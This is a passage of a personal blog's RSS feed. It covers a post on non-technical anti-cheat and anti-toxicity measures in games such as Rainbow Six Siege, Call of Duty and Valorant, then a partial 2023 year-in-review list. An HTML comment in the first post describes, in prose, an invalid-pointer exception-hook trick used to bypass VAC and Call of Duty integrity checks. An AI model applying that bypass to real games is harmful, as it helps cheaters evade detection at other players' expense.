href=\"https://secret.club/2020/01/05/battleye-stack-walking.html\"&gt;stack-walking&lt;/a&gt;,\nbootkit-like kernel drivers,\n&lt;a href=\"https://en.wikipedia.org/wiki/Trusted_Platform_Module\"&gt;TPM&lt;/a&gt;/\nsecure boot/\n&lt;a href=\"https://learn.microsoft.com/en-us/windows-hardware/drivers/bringup/device-guard-and-credential-guard\"&gt;HVCI&lt;/a&gt;/\n&lt;a href=\"https://en.wikipedia.org/wiki/Input%E2%80%93output_memory_management_unit\"&gt;IOMMU&lt;/a&gt;/\n&lt;a href=\"https://learn.microsoft.com/en-us/windows-hardware/design/device-experiences/oem-vbs\"&gt;VBS&lt;/a&gt;/…\n&lt;a href=\"https://support-valorant.riotgames.com/hc/en-us/articles/22291331362067-Vanguard-Restrictions\"&gt;shenanigans&lt;/a&gt;,\nhypervisors &lt;a href=\"https://secret.club/2020/04/13/how-anti-cheats-detect-system-emulation.html\"&gt;detection&lt;/a&gt;/usage,\n&lt;a href=\"https://secret.club/2020/03/31/battleye-developer-tracking.html\"&gt;exfiltration of suspicious materials&lt;/a&gt;,\nexternal &lt;a href=\"https://en.wikipedia.org/wiki/Direct_memory_access\"&gt;DMA&lt;/a&gt; hardware,\nor other &lt;a href=\"https://dustri.org/b/paper-notes-reversing-anti-cheats-detection-generation-cycle-with-configurable-hallucinations.html\"&gt;more exotic things&lt;/a&gt;.&lt;/p&gt;\n&lt;p&gt;Yet anti-cheats are still routinely bypassed, less in a public manner, granted, but private\nand closed-community cheats are still flourishing, since it's a losing game by\nnature. And since games and anti-cheats are software, they're of course riddled\nwith &lt;a href=\"https://vice.com/en/article/d7y5wj/street-fighter-v-rootkit\"&gt;hilarious&lt;/a&gt; bugs leading to\n&lt;a href=\"https://unknowncheats.me/forum/anti-cheat-bypass/614682-eac-dll-loading-method-eac-forcer.html\"&gt;stupid&lt;/a&gt;\n&lt;a href=\"https://unknowncheats.me/forum/anti-cheat-bypass/503052-easy-anti-cheat-kernel-packet-fucker.html\"&gt;bypasses&lt;/a&gt;.&lt;/p&gt;\n&lt;p&gt;But this isn't what this blogpost is about. Nowadays, cheats are considered as\npart of a larger problem: abuses and toxicity. Cheats aren't (only) hunted down\nbecause they're morally questionable, but because they disturb the way the game is meant to be\nenjoyed. Toxic and abusive behaviours lead to the very same results:\nA game that isn't fun to play because of cheating/abuse/toxicity issues will see its\nplayers number decrease, have poor reviews, … and won't make money. I'm sure\nthere is a parallel to be made about the current state of our society, but I\ndigress.&lt;/p&gt;\n&lt;p&gt;For this article, we'll consider cheating and abuse/toxicity\nas a single issue under the term &lt;em&gt;abuse&lt;/em&gt;.\nNow, because abuse isn't a purely technical issue, but also a social one, it\ncan't be solved by technical solutions only, so let's have\na look at what non-technical mitigations game developers are\ncoming up with to curb this issue.&lt;/p&gt;\n&lt;p&gt;The most obvious mitigation is to make cheating expensive, money wise.\nHaving to pay 60EUR for a game is a steep investment, especially if one \nhas to buy it again every time they get banned. This of course doesn't\napply for free-to-play games, but can be emulated by having a cosmetics\necosystem, either to pay for, or to grind. The other expensive thing when\nplaying video games is the hardware, and bans can be tied to it.&lt;/p&gt;\n&lt;h2&gt;Global measures&lt;/h2&gt;\n&lt;p&gt;The &lt;em&gt;big&lt;/em&gt; mitigation at this level is reputation systems. They're based on\npeople who know best how a fun and fair game should go: players. After a\nmatch, they're encouraged to cast votes on how fair it was, on a match level,\nbut also directly at players level: \"Bob was really looking out for others\",\n\"Bob was a team player\", and so on. For negative behaviour, reports don't have\nto wait the end of the match, players can report\ncheating, being offensive in the text/voice chat, &lt;a href=\"https://en.wikipedia.org/wiki/Griefer\"&gt;griefing&lt;/a&gt;,\nqueue dodging, &lt;a href=\"https://www.urbandictionary.com/define.php?term=smurfing\"&gt;smurfing&lt;/a&gt;, … \nOf course, slanderous reports are penalised.&lt;/p&gt;\n&lt;p&gt;Peer pressure is a good lever too, by taking action not only against cheaters,\nbut from people benefiting from the cheat, like regular teammates.&lt;/p&gt;\n&lt;p&gt;&lt;a href=\"https://en.wikipedia.org/wiki/Bug_bounty_program\"&gt;Bug bounty programs&lt;/a&gt; are now commonplace,\nso it's only logical that there are now &lt;a href=\"https://hackerone.com/riot\"&gt;some&lt;/a&gt;\nrewarding anti-cheat bypasses/exploits. The rewards are a bit cheap for now,\nbut will likely rise up as the programs mature. The positive effects are\nmultiples:&lt;/p&gt;\n&lt;ol&gt;\n&lt;li&gt;It increases the incentives to report issues to get them fixed: a player\n   finding a glitch/exploit can now get some cash for the discovery&lt;/li&gt;\n&lt;li&gt;As more abuse vectors are killed, the reward prices will rise, and it might\n   become more profitable to report bugs than to sell them to cheat providers.\n   This isn't unheard of, with &lt;a href=\"https://google.github.io/security-research/kernelctf/rules.html\"&gt;Google's\n   kernelCTF&lt;/a&gt;\n   paying two times more than Zerodium.&lt;/li&gt;\n&lt;li&gt;If the bug bounty program is correctly managed, the probability of getting a\n   given amount of money for reporting an issue will be higher than using it in\n   a cheat for an unknown period of time until it gets fixed.&lt;/li&gt;\n&lt;li&gt;It will likely increase the amount of people looking for issues and willing\n   to report them.&lt;/li&gt;\n&lt;/ol&gt;\n&lt;p&gt;Community managers can also regularly &lt;s&gt;spread &lt;a href=\"https://en.wikipedia.org/wiki/Fear,_uncertainty,_and_doubt\"&gt;FUD&lt;/a&gt;&lt;/s&gt;\npost updates about ban waves, anti-cheat measures, reports, … to make it\nclear that abusive behaviours are something being taken care of,\nand a dangerous gamble for players to take part in. I think\nI have seen some people spending time proving that some cheaters streaming live\nwere in fact recycled pre-recorded footage from an earlier version of game,\nbecause some of the game details have been updated in the meantime.&lt;/p&gt;\n&lt;h2&gt;Accounts-level measures&lt;/h2&gt;\n&lt;p&gt;Some game stores, like &lt;a href=\"https://en.wikipedia.org/wiki/Steam_(service)\"&gt;Steam&lt;/a&gt;,\nhave an account-level \"cheater\" mark, meaning that if someone gets banned from a game for cheating,\nother games can know about it. But more importantly,\n&lt;a href=\"https://en.wikipedia.org/wiki/Achievement_(video_games)\"&gt;achievements&lt;/a&gt;\nand cosmetics are also tied to an account, and as mentioned previously,\nthose are non-zero time and/or money investments. Getting banned means losing\nthem. This of course only deters opportunistic cheaters,\nas people can simply create other accounts to cheat, but this can be made\nharder via purely technical means.&lt;/p&gt;\n&lt;p&gt;Most &lt;em&gt;competitive&lt;/em&gt; online games have ranked and casual game modes, with the\nformer being only accessible after having spent a certain amount of time in the\nlatter one. Meaning that one has to do it again every time they get banned,\nor &lt;a href=\"https://en.wikipedia.org/wiki/Boosting_(video_games)\"&gt;pay someone to do it&lt;/a&gt;.\nSome studios are even making player go through more hoops to be able to play, like requiring\n&lt;a href=\"https://en.wikipedia.org/wiki/Multi-factor_authentication\"&gt;MFA&lt;/a&gt;,\nor playing a couple of matches against &lt;a href=\"https://en.wikipedia.org/wiki/Video_game_bot\"&gt;bots&lt;/a&gt;\nbranded as a tutorial, before being able to play with other people. There is a\ncourse a fine balance to keep to annoy abusers but not legitimate players.&lt;/p&gt;\n&lt;h2&gt;Player-level measures&lt;/h2&gt;\n&lt;p&gt;The goal of non-technical measures isn't to make it impossible to be abusive,\nbut to make it not worth it. Moreover, issuing instahwpermabans to &lt;a href=\"https://en.wikipedia.org/wiki/Edgelord\"&gt;edgelords&lt;/a&gt;\nseems a tad heavy-handed, so having a large panel of measures against abuser makes sense:\none might want to allow people to rectify their behaviour, to isolate them to\ncool down, and so on. It might include textual warnings, temporary bans, kick\nfrom the current game, chat/voice mute, losing access to ranked play,\nreducing the amount of earned experience points, …&lt;/p&gt;\n&lt;p&gt;Players are abusive for various reasons, but I'd argue that most do because\nit's fun. Ruining the fun for them is thus a good way to curb such behaviours.\nA simple way to do this is to make them play together, by grouping players\nby reputation, or by having servers with technical anti-cheat measures\nexplicitly disabled. But there are even more creative measures,\nlike &lt;a href=\"https://www.callofduty.com/en/blog/2023/11/call-of-duty-ricochet-anti-cheat-modern-warfare-III-progress-report\"&gt;disabling their parachute&lt;/a&gt;,\nreducing their damage output to ridiculous levels, taking away their weapons,\n&lt;a href=\"https://www.callofduty.com/blog/2023/06/call-of-duty-ricochet-anti-cheat-season-04-update\"&gt;making other legitimate players invisible to them&lt;/a&gt;,\nrandomly drop some of their inputs,\n&lt;a href=\"https://dustri.org/b/paper-notes-reversing-anti-cheats-detection-generation-cycle-with-configurable-hallucinations.html\"&gt;hallucinations&lt;/a&gt;, … and\nwhile this costs a bit more engineering time than simply grouping them\ntogether, it has a couple of high-value returns on investment:\n- allowing game developers to spend more time collecting data on how cheats are working on a technical level,\n- reducing the impact cheaters have on a game make is possible to\n  significantly defer banning them without impacting other players too much,\n  making it harder for cheat makers to pinpoint how and why a cheat was\n  detected.\n- it's absolutely hilarious&lt;/p&gt;\n&lt;h2&gt;Examples&lt;/h2&gt;\n&lt;h3&gt;&lt;a href=\"https://en.wikipedia.org/wiki/Tom_Clancy's_Rainbow_Six_Siege\"&gt;Rainbow Six Siege&lt;/a&gt;&lt;/h3&gt;\n&lt;ul&gt;\n&lt;li&gt;It uses BattlEye, and in end-2022 early 2023 banned around\n  &lt;a href=\"https://ubisoft.com/en-us/game/rainbow-six/siege/news-updates/2g7hT2NNuOqrj35RfgsFxN/anticheat-status-update-march-2023\"&gt;5000&lt;/a&gt;\n  accounts per month, which is a lot, but also shows that it doesn't deter\n  cheaters.&lt;/li&gt;\n&lt;li&gt;The game costs &lt;a href=\"https://store.steampowered.com/app/359550/Tom_Clancys_Rainbow_Six_Siege/\"&gt;$8&lt;/a&gt;,\n  but if you want to have access to all the operators, it's $70. One can also\n  unlock operators by playing, which takes several hundreds of hours.&lt;/li&gt;\n&lt;li&gt;To play ranked, one need to reach &lt;a href=\"https://ubisoft.com/en-gb/game/rainbow-six/siege/news-updates/4hShcX2HZTG2ttIi3IIN9Y/matchmaking-rating\"&gt;level 50&lt;/a&gt;,\n  which takes around 50h, give or takes.&lt;/li&gt;\n&lt;li&gt;The game has a rich ecosystem of cosmetics\n  than can be &lt;a href=\"https://store.ubisoft.com/us/dlc-type-skins-cosmetics\"&gt;purchased for steep prices&lt;/a&gt;,\n  and painstakingly earned by playing,\n  that would be lost in cast of an account ban.&lt;/li&gt;\n&lt;li&gt;Friendly fire will result in the damages being applied to the shoot \n  should it be reported as voluntary by the player at the receiving end.&lt;/li&gt;\n&lt;li&gt;It's developing a pretty involved &lt;a href=\"https://ubisoft.com/en-gb/game/rainbow-six/siege/news-updates/22JLMFeayzuamhb7YKbAjm/reputation-system-activation-more\"&gt;reputation system&lt;/a&gt;,\n  where people with a \"positive\" behaviour gets rewarded (more experience\n  points, cosmetics, …), while those with a \"negative\" one\n  might be prevented from playing &lt;em&gt;ranked&lt;/em&gt;,\n  get less experience points,\n  …&lt;/li&gt;\n&lt;/ul&gt;\n&lt;h3&gt;&lt;a href=\"https://en.wikipedia.org/wiki/Call_of_Duty:_Modern_Warfare_II_(2022_video_game)\"&gt;Call of Duty: Modern Warfare II&lt;/a&gt;:&lt;/h3&gt;\n&lt;ul&gt;\n&lt;li&gt;The game costs &lt;a href=\"https://store.steampowered.com/app/1962660/Call_of_Duty_Modern_Warfare_II/\"&gt;$70&lt;/a&gt;.&lt;/li&gt;\n&lt;li&gt;&lt;a href=\"https://callofduty.com/blog/2023/02/call-of-duty-modern-warfare-II-ranked-play-features-challenges-rewards\"&gt;\"Players must be at least Level 16 to access Ranked Play\"&lt;/a&gt;,\n  but this can be done in a couple of hours.&lt;/li&gt;\n&lt;li&gt;Cheating results in account-wise permaban across all Call of Duty titles.&lt;/li&gt;\n&lt;li&gt;Banned accounts have their records purged from leaderboards.&lt;/li&gt;\n&lt;li&gt;Players engaging in \"negative\" behaviours might get\n  muted on chat/voice, … and interestingly, cheaters \n  are going to get paired with other cheaters in matchmaking.\n  &lt;a href=\"https://support.activision.com/articles/call-of-duty-security-and-enforcement-policy\"&gt;Players who are often playing with the same cheaters&lt;/a&gt; (boosting),\n  will also get their reputation tanked.&lt;/li&gt;\n&lt;/ul&gt;\n&lt;h3&gt;&lt;a href=\"https://playvalorant.com/\"&gt;Valorant&lt;/a&gt;&lt;/h3&gt;\n&lt;p&gt;Its developer even published a\n&lt;a href=\"https://playvalorant.com/en-us/news/tags/game-health-series/\"&gt;great series of blopost&lt;/a&gt; on\nwhat it calls \"game health\"&lt;/p&gt;\n&lt;ul&gt;\n&lt;li&gt;The game is free-to-play, but comes with &lt;em&gt;a lot&lt;/em&gt; of &lt;a href=\"https://valorantstrike.com/valorant-store/\"&gt;cosmetics&lt;/a&gt;.&lt;/li&gt;\n&lt;li&gt;Cheaters get a permaban, but people benefiting from them might get a 6 months one as well.&lt;/li&gt;\n&lt;li&gt;Players joining games and &lt;a href=\"https://playvalorant.com/en-gb/news/dev/valorant-behavior-detection-and-penalty-updates/\"&gt;idling to reap out experience points&lt;/a&gt;,\n  doing nothing but kneecapping their team will &lt;a href=\"https://playvalorant.com/en-us/news/dev/valorant-systems-health-series-afk/\"&gt;get penalised&lt;/a&gt;.&lt;/li&gt;\n&lt;li&gt;Players are encouraged to report toxic behaviours, and to not engage,\n  since engagement might be penalized as well&lt;/li&gt;\n&lt;li&gt;Players using,\n  &lt;a href=\"https://support-valorant.riotgames.com/hc/en-us/articles/360044791253-Inappropriate-In-Game-Names\"&gt;certain words&lt;/a&gt;\n  whether in chat or as username,\n  will be flagged as toxic.&lt;/li&gt;\n&lt;li&gt;Penalties come in various size, shapes and durations, allowing to fine tune\n  according to behaviour: warnings, voice/chat restrictions,\n  reduction in experience points\n  gain, reduction in raked rating, increased queue waiting time, ranking game\n  ban, global ban.&lt;/li&gt;\n&lt;li&gt;Valorant &lt;a href=\"https://playvalorant.com/en-us/news/dev/valorant-systems-health-series-smurf-detection/\"&gt;published&lt;/a&gt;\n  their approach to mitigate smurfing; acknowledging that while having multiple accounts\n  to smurf/trade/evade bans/… is not desirable, some people are using\n  them to to play with friends with a better/worse ranked level.\n  So while they took measures to detect and mitigate having multi-accounts,\n  they also relaxed the maximum ranks difference for players to play together,\n  which significantly reduced the number of alt-accounts usage,\n  but also didn't alter match fairness in a measurable way.&lt;/li&gt;\n&lt;/ul&gt;\n&lt;h2&gt;Conclusion&lt;/h2&gt;\n&lt;p&gt;This is all nice and dandy, but is it working? According to\ndata from &lt;a href=\"https://www.ubisoft.com/en-us/game/rainbow-six/siege/player-protection\"&gt;Rainbow Six Siege&lt;/a&gt;:\n&lt;a href=\"https://playvalorant.com/en-us/news/tags/game-health-series/\"&gt;Valorant&lt;/a&gt;,\n&lt;a href=\"https://www.callofduty.com/blog/2023/06/call-of-duty-ricochet-anti-cheat-season-04-update\"&gt;Call of Duty: Modern Warfare 2&lt;/a&gt;,\n… those measures are indeed working pretty well,\nand are likely providing better results than technical-only\nmeasures. They are also cheaper, since steering people away from toxic\nbehaviours doesn't reduce the number of players as much as banning them\noutright. It's nice to see that the video game industry realised that cheating and\nabuses/toxicity could be addressed in similar non-technical ways, and that both\napproaches are complementary. This is a stark contrast to other ones,\nwhere techno-solutionism is seen at the only possible remedy, even more so \nin our machine-learning-all-the-things era. &lt;/p&gt;\n&lt;h2&gt;Sources and resources&lt;/h2&gt;\n&lt;ul&gt;\n&lt;li&gt;&lt;a href=\"https://youtube.com/watch?v=hI7V60r7Jco\"&gt;Anti-Cheat for Multiplayer Games&lt;/a&gt;&lt;/li&gt;\n&lt;li&gt;&lt;a href=\"https://secret.club/\"&gt;Secret Club&lt;/a&gt;&lt;/li&gt;\n&lt;li&gt;&lt;a href=\"https://unknowncheats.me/\"&gt;UnKnoWnCheaTs&lt;/a&gt;&lt;/li&gt;\n&lt;/ul&gt;\n&lt;!--\n\nSteam's VAC was already doing basic stuff, like hashing the entire code region of the game on launch, storing the hash, and then re-hashing the code region every few minutes to see if someone had changed the code, presumably to install a trampoline and hook into the game's functions (to write aimbots, wallhacks, etc). When a hash change is detected, the player is banned.\n\nCheaters found a way to bypass this by simply finding the function they desired to hook and setting any random function pointer within it to 0 (stored in rw memory, so doesn't trigger the code region hash mentioned above). This would trigger an exception, which the cheat developer would catch with Windows' SEH/VEH, effectively giving them a hook into the function without having to modify the code region.\n\nActivision's anti-cheat would then go through a bunch of function pointers (the ones in network/rendering functions mostly, since that's where you'd want to hook to write cheats) and check for null pointers. If a pointer was null, they'd ban you.\n\nFunny enough, this was incredibly easy to bypass: just set the pointer to 1, or 2, or 3, or ...!! All of these addresses are most likely still invalid and they'll still trigger an exception, even though they're theoretically valid pointers, giving you a de-facto hook into the game that bypassed both VAC and BO2's anticheat, and was pretty much unpatchable. Perhaps that's why they started being annoying and banning people for running IDA, Cheat Engine, etc., which are certainly probable indicators but definitely not hard evidence for cheats.\n\n--&gt;</description><dc:creator xmlns:dc=\"http://purl.org/dc/elements/1.1/\">jvoisin</dc:creator><pubDate>Fri, 12 Jan 2024 20:15:00 +0100</pubDate><guid isPermaLink=\"false\">tag:dustri.org,2024-01-12:/b/on-non-technical-video-games-cheat-mitigations.html</guid><category>games</category></item><item><title>2023 in retrospect</title><link>https://dustri.org/b/2023-in-retrospect.html</link><description>&lt;p&gt;In 2023, I did, amongst other things:&lt;/p&gt;\n&lt;ul&gt;\n&lt;li&gt;Donated some money:&lt;ul&gt;\n&lt;li&gt;$400 to &lt;a href=\"https://fsfe.org/\"&gt;FSFE&lt;/a&gt;&lt;/li&gt;\n&lt;li&gt;$5000 to &lt;a href=\"https://noyb.eu\"&gt;NOYB&lt;/a&gt;&lt;/li&gt;\n&lt;li&gt;$5000 to &lt;a href=\"https://riseup.net\"&gt;Riseup&lt;/a&gt;&lt;/li&gt;\n&lt;li&gt;$5000 to the &lt;a href=\"https://archive.org\"&gt;Internet Archive&lt;/a&gt;&lt;/li&gt;\n&lt;li&gt;$5000 to the &lt;a href=\"https://en.wikipedia.org/wiki/Planned_Parenthood\"&gt;Planned Parenthood Federation of America&lt;/a&gt;&lt;/li&gt;\n&lt;li&gt;$1000 to &lt;a href=\"https://daysforgirls.org\"&gt;days for girls&lt;/a&gt;, on the advice of &lt;a href=\"https://foreignbystander.com/\"&gt;chik&lt;/a&gt; from &lt;a href=\"https://darkscience.net\"&gt;darkscience&lt;/a&gt;.&lt;/li&gt;\n&lt;li&gt;$200 each, as a &lt;a href=\"https://opensource.googleblog.com/search/label/peer%20bonus\"&gt;Open Source Peer Bonus&lt;/a&gt;, courtesy of Google, to&lt;ul&gt;\n&lt;li&gt;&lt;a href=\"https://github.com/richfelker/\"&gt;Rich Felker&lt;/a&gt; for their work on &lt;a href=\"https://musl.libc.org\"&gt;musl&lt;/a&gt;.&lt;/li&gt;\n&lt;li&gt;&lt;a href=\"https://mxxn.io/\"&gt;Blaž Hrastnik&lt;/a&gt; for their work on &lt;a href=\"https://helix-editor.com\"&gt;Helix&lt;/a&gt;.&lt;/li&gt;\n&lt;li&gt;&lt;a href=\"https://github.com/justinmk\"&gt;Justin Keyes&lt;/a&gt; for their work on &lt;a href=\"https://neovim.io\"&gt;Neovim&lt;/a&gt;.&lt;/li&gt;\n&lt;li&gt;&lt;a href=\"https://github.com/jeanas\"&gt;Jean Abou-Samra&lt;/a&gt; for their work on &lt;a href=\"https://pygments.org\"&gt;Pygments&lt;/a&gt;.&lt;/li&gt;\n&lt;/ul&gt;\n&lt;/li&gt;\n&lt;/ul&gt;\n&lt;/li&gt;\n&lt;li&gt;Read a couple of books:&lt;ul&gt;\n&lt;li&gt;&lt;a href=\"https://en.wikipedia.org/wiki/The_Killer_(comics)\"&gt;Le tueur&lt;/a&gt;&lt;/li&gt;\n&lt;li&gt;Some &lt;a href=\"https://en.wikipedia.org/wiki/Warhammer_40,000\"&gt;Warhammer 40,000&lt;/a&gt;:&lt;ul&gt;\n&lt;li&gt;&lt;a href=\"https://wh40k.lexicanum.com/wiki/Sons_of_the_Hydra_(Novel)\"&gt;Sons of the Hydra&lt;/a&gt;, neat.&lt;/li&gt;\n&lt;li&gt;&lt;a href=\"https://wh40k.lexicanum.com/wiki/Dark_Imperium_(Anthology)\"&gt;Dark Imperium (Anthology)&lt;/a&gt;&lt;/li&gt;\n&lt;li&gt;&lt;a href=\"https://wh40k.lexicanum.com/wiki/Shroud_of_Night_(Novel)\"&gt;Shroud of Night&lt;/a&gt;, forgettable.&lt;/li&gt;\n&lt;li&gt;The &lt;a href=\"https://wh40k.lexicanum.com/wiki/Black_Legion_(Novel_Series)\"&gt;Black Legion&lt;/a&gt; duology, solid.&lt;/li&gt;\n&lt;li&gt;&lt;a href=\"https://wh40k.lexicanum.com/wiki/Renegades:_Harrowmaster_(Novel)\"&gt;Renegades: Harrowmaster&lt;/a&gt;, witty.&lt;/li&gt;\n&lt;li&gt;&lt;a href=\"https://wh40k.lexicanum.com/wiki/Assassinorum:_Kingmaker_(Novel)\"&gt;Assassinorum: Kingmaker&lt;/a&gt;, decent.&lt;/li&gt;\n&lt;li&gt;&lt;a href=\"https://wh40k.lexicanum.com/wiki/Night_Lords_(Novel_Series)\"&gt;Night Lords: The Omnibus&lt;/a&gt;, outstanding.&lt;/li&gt;\n&lt;li&gt;&lt;a href=\"https://wh40k.lexicanum.com/wiki/The_Deacon_of_Wounds_(Novel)\"&gt;The Deacon of Wounds&lt;/a&gt; great writing style.&lt;/li&gt;\n&lt;li&gt;&lt;a href=\"https://wh40k.lexicanum.com/wiki/Assassinorum:_Execution_Force_(Novel)\"&gt;Assassinorum: Execution force&lt;/a&gt;, forgettable.&lt;/li&gt;\n&lt;li&gt;&lt;a href=\"https://wh40k.lexicanum.com/wiki/The_Infinite_and_the_Divine_(Novel)\"&gt;The Infinite and the Divine&lt;/a&gt;, highly entertaining.&lt;/li&gt;\n&lt;li&gt;&lt;a href=\"https://wh40k.lexicanum.com/wiki/The_End_and_the_Death:_Volume_I_(Novel)\"&gt;The End and the Death vol. 1&lt;/a&gt;, a &lt;em&gt;teensy&lt;/em&gt; bit over the top.&lt;/li&gt;\n&lt;li&gt;&lt;a href=\"https://wh40k.lexicanum.com/wiki/The_End_and_the_Death:_Volume_II_(Novel)\"&gt;The End and the Death vol. 2&lt;/a&gt;, almost there, almost there, ...&lt;/li&gt;\n&lt;li&gt;&lt;a href=\"https://wh40k.lexicanum.com/wiki/The_Macharian_Crusade_(Novel_Series)\"&gt;The Macharian Crusade Omnibus&lt;/a&gt;, a writing style a tad heavy.&lt;/li&gt;\n&lt;li&gt;The &lt;a href=\"https://wh40k.lexicanum.com/wiki/Dark_Imperium_(Novel_Series)\"&gt;Dark Imperium&lt;/a&gt; trilogy, nice to see the setting moving forward!&lt;/li&gt;\n&lt;li&gt;The first 5 tomes of the &lt;a href=\"https://wh40k.lexicanum.com/wiki/Dawn_of_Fire_(Novel_Series)\"&gt;Dawn of Fire&lt;/a&gt; heptalogy, definitely a series of books.&lt;/li&gt;\n&lt;li&gt;&lt;a href=\"https://wh40k.lexicanum.com/wiki/The_Lion:_Son_of_the_Forest_(Novel)\"&gt;The Lion: Son of the Forest&lt;/a&gt;, I've seen Dragon Balls episodes with a quicker pace.&lt;/li&gt;\n&lt;li&gt;Finished the &lt;a href=\"https://wh40k.lexicanum.com/wiki/The_Beast_Arises_(Novel_Series)\"&gt;Beast Arises&lt;/a&gt;\n  dodecalogy. The last chapter of the final book deserved a book on its own,\n  instead of being speedrunned in ~30 pages.&lt;/li&gt;\n&lt;/ul&gt;\n&lt;/li&gt;\n&lt;li&gt;&lt;a href=\"https://en.wikipedia.org/wiki/It%27s_OK_to_Be_Angry_About_Capitalism\"&gt;It's OK to Be Angry About Capitalism&lt;/a&gt;&lt;/li&gt;\n&lt;li&gt;&lt;a href=\"https://nostarch.com/hacks-leaks-and-revelations\"&gt;Hacks, Leaks, and Revelations&lt;/a&gt;: a &lt;a href=\"https://dustri.org/b/book-review-hacks-leaks-and-revelations.html\"&gt;reference&lt;/a&gt;&lt;/li&gt;\n&lt;li&gt;&lt;a href=\"https://direct.mit.edu/books/book/3008/Beyond-ChoicesThe-Design-of-Ethical-Gameplay\"&gt;Beyond choices: The design of ethical gameplay&lt;/a&gt;&lt;/li&gt;\n&lt;li&gt;&lt;a href=\"https://editions-ixe.fr/catalogue/non-le-masculin-ne-lemporte-pas-sur-le-feminin-ned/\"&gt;Non, le masculin ne l’emporte pas sur le féminin !&lt;/a&gt;&lt;/li&gt;\n&lt;li&gt;&lt;a href=\"https://en.wikipedia.org/wiki/This_Changes_Everything_(book)\"&gt;This Changes Everything: Capitalism vs. the Climate&lt;/a&gt;&lt;/li&gt;\n&lt;li&gt;&lt;a href=\"https://www.goodreads.com/en/book/show/51176626\"&gt;Break 'em Up: Recovering Our Freedom from Big Ag, Big Tech, and Big Money&lt;/a&gt;.&lt;/li&gt;\n&lt;li&gt;&lt;a href=\"https://aosabook.org/en/buy.html\"&gt;The Performance of Open Source Applications&lt;/a&gt;: contains some really nice tidbits.&lt;/li&gt;\n&lt;li&gt;&lt;a href=\"https://aosabook.org/en/\"&gt;The Architecture of Open Source Applications, Part 1.&lt;/a&gt;: computers were a mistake.&lt;/li&gt;\n&lt;li&gt;&lt;a href=\"https://nostarch.com/kill-it-fire\"&gt;Kill It with Fire: Manage Aging Computer Systems (and Future Proof Modern Ones)&lt;/a&gt;&lt;/li&gt;\n&lt;li&gt;&lt;a href=\"https://goodreads.com/book/show/38212110-technically-wrong\"&gt;Technically Wrong: Sexist Apps, Biased Algorithms, and Other Threats of Toxic Tech&lt;/a&gt;&lt;/li&gt;\n&lt;li&gt;&lt;a href=\"https://nostarch.com/locksport\"&gt;Locksport - A Hacker’s Guide to Lockpicking, Impressioning, and Safe Cracking&lt;/a&gt;: &lt;a href=\"https://dustri.org/b/book-review-locksport-a-hackers-guide-to-lockpicking-impressioning-and-safe-cracking.html\"&gt;great&lt;/a&gt;&lt;/li&gt;\n&lt;li&gt;&lt;a href=\"https://freakyclown.com/publications\"&gt;How I Rob Banks (and other such places)&lt;/a&gt;, written in an unbearably cocky style, mildly entertaining.&lt;/li&gt;\n&lt;li&gt;&lt;a href=\"https://samleecole.com\"&gt;How Sex Changed the Internet and the Internet Changed Sex: An Unexpected History&lt;/a&gt;, a bit too shallow for my taste.&lt;/li&gt;\n&lt;li&gt;&lt;a href=\"https://toddrose.com/endofaverage\"&gt;The End of Average&lt;/a&gt;, great book, except the part where the author argues that the goal of schools is to prepare kids for jobs.&lt;/li&gt;\n&lt;li&gt;&lt;a href=\"https://staffeng.com/book\"&gt;Staff Engineer: Leadership beyond the management track&lt;/a&gt;, I'm not there yet, but it helped me understand some coworker's jobs and struggles.&lt;/li&gt;\n&lt;li&gt;&lt;a href=\"https://thirdeditions.com/en/sagas/94-metal-gear-solid-hideo-kojima-s-magnum-opus-9791094723616.html\"&gt;Metal Gear Solid. Hideo Kojima's Magnum Opus&lt;/a&gt;:\n  deluge of superlatives directed at Kojima, speculative opinionated wild rambling, no mention of the &lt;a href=\"https://en.wikipedia.org/wiki/Quiet_(Metal_Gear)\"&gt;rampant&lt;/a&gt;\n  &lt;a href=\"https://theguardian.com/technology/2014/apr/09/metal-gear-solid-ground-zeroes-sexual-violence\"&gt;sexism&lt;/a&gt;,\n  typos and frenchisms, … prefer the &lt;a href=\"https://en.wikipedia.org/wiki/Metal_Gear\"&gt;wikipedia&lt;/a&gt; and &lt;a href=\"https://metalgear.fandom.com/wiki/Metal_Gear_Wiki\"&gt;fandom&lt;/a&gt; pages instead.&lt;/li&gt;\n&lt;li&gt;&lt;a href=\"https://en.wikipedia.org/wiki/The_Mirage_(Ruff_novel)\"&gt;The Mirage&lt;/a&gt;: I\n  was expecting more of a description of an alternative history than a\n  novel with a lame plot and forgettable characters. The humour is goofy\n  and unsubtle: a punk rock group called Green Desert has an anti-war\n  anthem named \"Arabian Idiot\"; a morning talk show called Jazeera &amp;amp;\n  Friends, … but this is completely on par with the post-11-September\n  anti-muslim/Iraqi rhetoric, making it both funny and perfectly adequate.&lt;/li&gt;\n&lt;/ul&gt;\n&lt;/li&gt;\n&lt;li&gt;Moved back to France.&lt;/li&gt;\n&lt;li&gt;Volunteered at a library.&lt;/li&gt;\n&lt;li&gt;Refused to sell &lt;a href=\"https://websec.fr\"&gt;websec.fr&lt;/a&gt;&lt;/li&gt;\n&lt;li&gt;Listened to &lt;a href=\"https://listenbrainz.org/user/jvoisin/year-in-music/\"&gt;some music&lt;/a&gt;.&lt;/li&gt;\n&lt;li&gt;Attended some concerts:&lt;ul&gt;\n&lt;li&gt;&lt;a href=\"https://en.wikipedia.org/wiki/Eisbrecher\"&gt;Eisbrecher&lt;/a&gt;, along with &lt;a href=\"https://maerzfeld.de\"&gt;Maerzfeld&lt;/a&gt;&lt;/li&gt;\n&lt;li&gt;&lt;a href=\"https://gojira-music.com\"&gt;Gojira&lt;/a&gt;, along with &lt;a href=\"https://alienweaponry.com\"&gt;Alien Weaponry&lt;/a&gt;&lt;/li&gt;\n&lt;li&gt;&lt;a href=\"https://katatonia.com\"&gt;Katatonia&lt;/a&gt;, along with\n  &lt;a href=\"https://som.band\"&gt;SOM&lt;/a&gt; and &lt;a href=\"https://solstafir.net\"&gt;Sólstafir&lt;/a&gt;&lt;/li&gt;\n&lt;li&gt;&lt;a href=\"https://heavenshallburn.com\"&gt;Heaven Shall Burn&lt;/a&gt;, along with\n  &lt;a href=\"https://trivium.org\"&gt;Trivium&lt;/a&gt;,\n  &lt;a href=\"https://en.wikipedia.org/wiki/Malevolence_(band)\"&gt;Malevolence&lt;/a&gt;, and\n  &lt;a href=\"https://obituary.cc\"&gt;Obituary&lt;/a&gt;&lt;/li&gt;\n&lt;li&gt;&lt;a href=\"https://igorrr.com\"&gt;Igorrr&lt;/a&gt;, along with\n  &lt;a href=\"https://derwegeinerfreiheit.de\"&gt;Der Weg einer Freiheit&lt;/a&gt;,\n  